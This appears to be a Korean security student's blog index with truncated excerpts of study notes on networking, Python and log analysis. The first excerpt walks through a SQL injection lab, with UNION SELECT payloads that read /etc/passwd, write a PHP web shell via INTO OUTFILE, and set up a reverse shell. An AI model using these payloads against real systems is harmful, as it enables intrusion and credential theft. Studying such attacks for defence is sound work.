전체 글

정보처리기사,정보보안기사,CPPG,리눅스마스터2급 정보보안쪽 취업준비생입니다.
0’ union select 1,user(),3,4,5,6,7# 유가 root권한인 것을 확인하였다. 0' union select 1,user,host,file_priv,super_priv,6,7 from mysql.user# File_priv(파일 엑세스)가 Y로 허용되어 있으므로 특별한 설정이 없으면 파일 read/write가 가능하다. 0' union select 1,load_file("/etc/passwd"),3,4,5,6,7# 특별한 설정이 없어보기 때문에, 바로 악성 웹쉘을 삽입해보면0' union select 1,"",3,4,5,6,7 into outfile "/var/www/gm/hacked.php"# 공격자가 리버스 쉘을 대기중 Reverse shell 코드를 url encoding..
네트워크 장비(스위치, 라우터 등)에 대한 비인가 접근을 차단하기 위한 기본적인 보안 설정입니다.접근 방법별 제어:로컬 연결: 콘솔(Console) 포트, 플래시 메모리 접근 시 패스워드 설정.원격 연결: 텔넷(Telnet)보다는 암호화 기능을 제공하는 SSH(Secure Shell) 사용 권장.SSH 설정 단계:키 생성 재료 설정: 도메인 네임(Domain Name) 설정. 암호화 키 생성: RSA 키 생성.VTY 라인 설정: transport input ssh 명령어를 통해 SSH 접속만 허용하도록 제한ip domain-name lab.localusername admin secret 1234crypto key generate rsaline vty 0 4login local # local login (..
DHCPDHCP Relay Agent: 중간에서 dhcp broadcast를 중계해서 server와 client를 중계함Broadcast로 동작 (DORA)A(client) / B(DHCP server 192.168.1.67)discover(src.ip = 0.0.0.0, dst.ip= 255.255.255.255, src mac= A, dst mac= FF.FF.FF.FF.FF.FF)로 보내면 DHCP서버들이 보고남는 ip를 serverPool에서 확인하고 ip를 offer함. A -> (relay agent) -> B / broadcast frameoffer(src.ip=192.168.1.67, dst.ip = 255.255.255.255, src mac = B, dst mac = A)로 보내면 A는..
TCP의 특징연결 지향 프로토콜 (3way handshake)에러 검출 (checksum)순서검사 (Sequencing)응답 (Acknowledgement)흐름제어 (Flow Control)패킷복구 (Packet Recovery)overhead가 많음tcp는 연결을 해야하기 때문에 unicast만 가능 UDP의 특징최소 서비스비 신뢰성비 전달 보장overhead가 적음udp는 연결이 필요없기 때문에 multicast 가 가능 L4 Switch는 주로 Load Balancing을 구현하기 위해서 사용되는데, http request를 만약에 한다고 한다면, IP주소가 L4 Switch의 가상 IP가 되고, 그 IP에 만약 http 포트인 80번으로 데이터를 전송한 것이라면 내부에서 실제 서버의 ip로 전달..
routing table 작성router는 모르는 네트워크 주소를 전달받으면 drop 시킨다.hop by hop router - 최적의 경로의 다음 라우터까지의 정보만 저장해놓음. Static pc에 ip 다 설정 후, router의 interface마다 ip 할당 routing table 설정후에 ping 하면 정상 통신가능. data 송신과정 arp cache table -> ip가 같은 대역대인지 확인 -> 같으면 arp request후에 dst MAC주소를 받아와서 바로 통신 다르면 gateway 존재 확인 -> arp cache table 확인 -> gateway가 같은 ip 대역인지 확인 -> gateway의 arp request -> gateway의 MAC 주소를 받아와서 프레임 생성 및 ..
Layer2 SwitchMac table에는 기본적으로 CPU를 목적지로 정해놓은 Mac Address가 static으로 저장되어있다. switch가 데이터를 받는 것또한, switch에 MAC Flooding 공격을 받으면 MAC Table이 가득차고, 실제 사용중인 다른 pc의 MAC 데이터를 저장하지 못하고 결국 switch가 MAC Address를 모르기때문에, broadcast를 수행하고 그 데이터를 sniffing이 가능하게되는 문제가 발생할 수 있기 때문에 보안을 적용해야하는데, port를 shutdown하거나 물리적으로 포트를 막는게 좋다. 또는 특정 포트로 인식되는 MAC 정보의 개수를 제한해버리는 port security 정책을 부여할 수도 있음. Switch(config-if)#s..
네트워크의 정의통신 매체를 통해 연결된 노드들의 집합 노드주소를 가지고 있는 시스템 Local Area Network개인이나 기업에 의해 소유되어진 네트워크 Wide Area NetworkSP(service provider)의 네트워크 sp = 통신선 매설해서 수익보는 기업네트워크 분류 LAN 기술별 분류Ethernet : 주로 utp 사용TokenRing: stp(shielded twisted pair) 사용해서 차폐되고 데이터 송신 안전 (군사망 등), 토큰을 가진 노드만 데이터 송신 가FDDI: 이중 링구조로 하나 끊어져도 나머지로 계속 진행, 광섬유ATM: 데이터를 셀로서 전송 셀 크기 고정네트워크 분류 Unicast : 각각을 구분, 1:1 통신, 랜카드에서 자신의 주소를 판별하고 처리, 자신의..
BeautifulSoup을 이용해서 파싱 스케줄링으로 메일 송신#main.pyfrom dotenv import load_dotenvimport os, requestsfrom bs4 import BeautifulSoup from smtplib import SMTPfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextimport schedule, timefrom datetime import datetimeload_dotenv()def get_news(): # 페이지 요청 url = 'https://boannews.com/media/list.asp' headers = { 'User-Agent' : 'M..
객체지향(OOP)의 핵심 # 추상화 = 불필요한 정보는 버리고 본질(속성 + 기능)만 추출한다.class Animal(): # 방향으로 움직인다. # 먹는다 # 잔다 def __init__(self, **kwargs): self._name = kwargs.get("name", "noname") self._leg_cnt = kwargs.get("leg_cnt", 4) self._gender = kwargs.get("gender", "FEMALE") self._species = kwargs.get("species", None) self._weight = kwargs.get("weight", 0) ..
re.search()import relog = [ "192.168.0.1 - [05/Apr/2026] GET /etc/passwd 403", "192.168.0.2 - [05/Apr/2026] GET /index.html 200", "192.168.0.3 - [05/Apr/2026] GET /etc/shadow 404",]ip_set = set()# /etc/passwd 접근 시도를 탐지for i in log: match = re.search(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", i) # 해당사항 있는지 확인 print(match) if match: ip_set.add(match.group()) # 찾은 문자열 출력print(i..
이야기prog
이야기